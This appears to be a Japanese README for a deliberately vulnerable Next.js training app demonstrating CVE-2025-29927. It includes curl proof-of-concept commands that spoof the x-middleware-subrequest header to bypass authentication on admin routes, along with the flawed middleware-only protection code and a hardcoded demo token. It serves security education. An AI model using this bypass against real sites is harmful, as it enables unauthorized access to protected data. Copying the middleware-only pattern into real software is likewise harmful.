
教育デモ of CVE-2025-29927、Next.js ミドルウェアの重大な認証バイパス。脆弱な管理パネル、概念実証のエクスプロイトコマンド、セキュリティトレーニング向けの緩和ガイダンスを含みます。
警告: このアプリケーションは意図的に脆弱にしています。教育目的および許可されたセキュリティ研究目的にのみ使用してください。公開サーバーにデプロイしないでください。
このアプリは、Next.js のミドルウェアにおける重大な認証バイパス脆弱性 CVE-2025-29927 (CVSS 9.1) を実演します。架空の企業「Himalaya Tech Pvt. Ltd.」の現実的な企業管理パネルを模擬しており、バイパスの影響を視覚的にわかりやすく示しています。
表示されるすべての従業員記録、API キー、データベース認証情報、その他の「機密」データは 完全に架空のモックデータ であり、教育デモンストレーションのために生成されています。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-29927 |
| 深刻度 | 重大 (CVSS 9.1) |
| 影響を受けるバージョン | Next.js ≤ 14.2.29, Next.js ≤ 15.2.2 |
| 修正バージョン | Next.js 14.2.30, 15.2.3 |
| 種類 | HTTP ヘッダー操作によるミドルウェア認証バイパス |
Next.js は内部 HTTP ヘッダー x-middleware-subrequest を使用して、再帰的なミドルウェア呼び出しを追跡し、無限ループを防止します。脆弱なバージョンでは、攻撃者が外部リクエストに このヘッダーを偽装 することができます。ヘッダーが存在し、ミドルウェアの識別子と一致すると、Next.js ランタイムは ミドルウェア全体をスキップ し、その中で定義されたすべての認証ロジックもスキップされます。
ルート保護を middleware.ts のみに依存するアプリケーション(一般的で推奨される Next.js のパターン)はすべて脆弱です。認証されていない攻撃者は、1 つの HTTP ヘッダーを追加するだけで、保護された任意のページにアクセスできます。
curl -v http://localhost:3000/admin
# → 307 Redirect to /login
curl -v \
-H "x-middleware-subrequest: middleware" \
http://localhost:3000/admin
# → 200 OK — 認証不要で管理ダッシュボードの HTML 全体が返る
# 管理ユーザーページ
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users
# 「本番環境認証情報」を含むシステム設定
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings
/admin/* へのリクエストにリクエストヘッダー x-middleware-subrequest: middleware を追加すると、ミドルウェアチェックがスキップされます。
middleware.ts が 唯一の 保護機構です:
// middleware.ts
export function middleware(request: NextRequest) {
if (pathname.startsWith("/admin")) {
const token = request.cookies.get("auth-token")?.value;
if (!token || token !== "valid-session-xyz123") {
return NextResponse.redirect(loginUrl); // ← この関数全体がスキップされる
}
}
return NextResponse.next();
}
ページコンポーネント自体(例:app/admin/page.tsx)には 認証チェックがありません — これは、ミドルウェアのみの保護パターンに従う実際のアプリケーションを模倣するための意図的な設計です。
npm install
npm run dev
アプリは http://localhost:3000 で利用可能になります。
*ミドルウェアのみで保護 — CVE-2025-29927 でバイパス可能。
[email protected]Admin@2024このアプリケーションは 教育目的のみ のために提供されており、具体的には倫理的なセキュリティコースの文脈で CVE-2025-29927 の現実世界での影響を実演するためのものです。すべてのデータ(従業員記録、API キー、認証情報)は 完全に架空 です。このデモアプリケーションやここで実演された手法を、所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。
| ルート | 認証必須 | 説明 |
|---|
/ | いいえ | 公開ランディングページ |
/login | いいえ | ログインフォーム |
/admin | はい* | 機密データを含む管理ダッシュボード |
/admin/users | はい* | ユーザー管理 |
/admin/settings | はい* | システム設定と認証情報 |